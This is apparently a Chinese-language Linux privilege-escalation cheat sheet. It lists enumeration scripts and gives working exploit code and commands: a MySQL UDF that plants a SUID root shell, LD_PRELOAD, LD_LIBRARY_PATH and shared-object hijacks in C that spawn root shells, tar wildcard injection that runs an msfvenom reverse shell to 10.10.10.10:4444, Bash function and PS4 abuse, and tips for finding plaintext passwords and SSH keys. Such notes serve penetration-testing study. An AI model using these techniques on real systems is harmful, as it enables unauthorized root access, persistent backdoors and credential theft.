常用一键工具箱

  • https://github.com/diego-treitos/linux-smart-enumeration
  • https://github.com/sleventyeleven/linuxprivchecker
  • https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
  • https://github.com/rebootuser/LinEnum
  • Linux Exploit Suggester 和 MSF 的辅助工具

具体描述见下方。

服务漏洞配合权限设定不当

常见的例如:MySQL UDF

SQLMap 系列: https://github.com/sqlmapproject/udfhack , ExploitDB: https://www.exploit-db.com/exploits/1518

以 Raptor UDF 为例:

gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

最后确保 UDF 插件目录可写:

use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

执行:/tmp/rootbash -p 即可获得 Shell

/etc/shadow , /etc/passwd 滥用

简单的文件覆盖问题,不过多阐述。

mkpasswd -m sha-512 newpasswordhere
openssl passwd newpasswordhere

sudo -l 滥用

https://GTFOBins.github.io

LD_PRELOAD 环境变量滥用,配合 sudo ENV_KEEP 使用

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        unsetenv("LD_PRELOAD");
        setresuid(0,0,0);
        system("/bin/bash -p");
}

编译指令:

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c

使用指令:

sudo LD_PRELOAD=/tmp/preload.so program-name-here

同理 LD_LIBRARY_PATH滥用:

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
        unsetenv("LD_LIBRARY_PATH");
        setresuid(0,0,0);
        system("/bin/bash -p");
}

编译执行:

ldd /usr/sbin/apache2    #寻找公用的Shared Lib
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c    #编译
sudo LD_LIBRARY_PATH=/tmp apache2   #执行

Shell 中 PATH 环境变量导致查找可执行文件的先后顺序,配合文件夹的可写权限造成的提权

例如:PATH=.:$PATH /usr/local/bin/suid-env

检查 CronTab,World-Writable 文件可修改后用于提权。

题外:那些死🐎教程里动不动就教人 chmod 777 的真是令人无语

CronTab 中的 Tar Wildcard 命令解析漏洞

对应下列有漏洞的压缩命令:

#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *

如果文件名包含有效的tar选项,会造成命令执行。我们假设下面的 shell.elf 等为获取远程 Shell 的可执行文件。

使用 msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf 生成一个 ELF,添加权限 chmod +x /home/user/shell.elf ,配置一个会造成歧义的文件 touch /home/user/--checkpoint=1 touch /home/user/--checkpoint-action=exec=shell.elf ,执行会造成命令解析出现漏洞,执行 shell.elf

利用已知漏洞

CVE-2016-1531, CVE-2014-6271 等,常见的问题包括 EXIM 和 GNU Screen、VIM。还有对应的 Kernel Exploit,例如 DirtyC0w.

Shared-Object Injection

劫持特定的动态链接库:

strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file" ,找到没有存在但是会加载的链接库,根据你能写的位置,编写代码、编译覆盖:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
        setuid(0);
        system("/bin/bash -p");
}

执行 gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c 编译后,运行 /usr/local/bin/suid-so即可。

Bash Function Abuse (<4.2-048)

即使使用绝对路径启动程序,也有可能被内置函数替换:

function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service
/usr/local/bin/suid-env2

Bash PS4 Abuse (< 4.4)

Bash 中 Debug Mode 启动时,会使用 PS4 变量提供更多信息,利用 Bash 环境变量可以执行命令的特性可以实现这个滥用。

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2

查找已知的明文密码

  • 各种 grep
  • ~/.history
  • *.ovpn
  • SSH Keys
  • Config Files 中的明文密码

NFS

  • Root Squashing Disabled, can be checked through /etc/exports NFS definition.
  • UID Inherit Enabled
  • Copy a file to NFS as local root, will save as remote root and PRESERVE THE PERMISSION YOU SET. So chmod +xs please.

Last modified: 2020-10-10

Author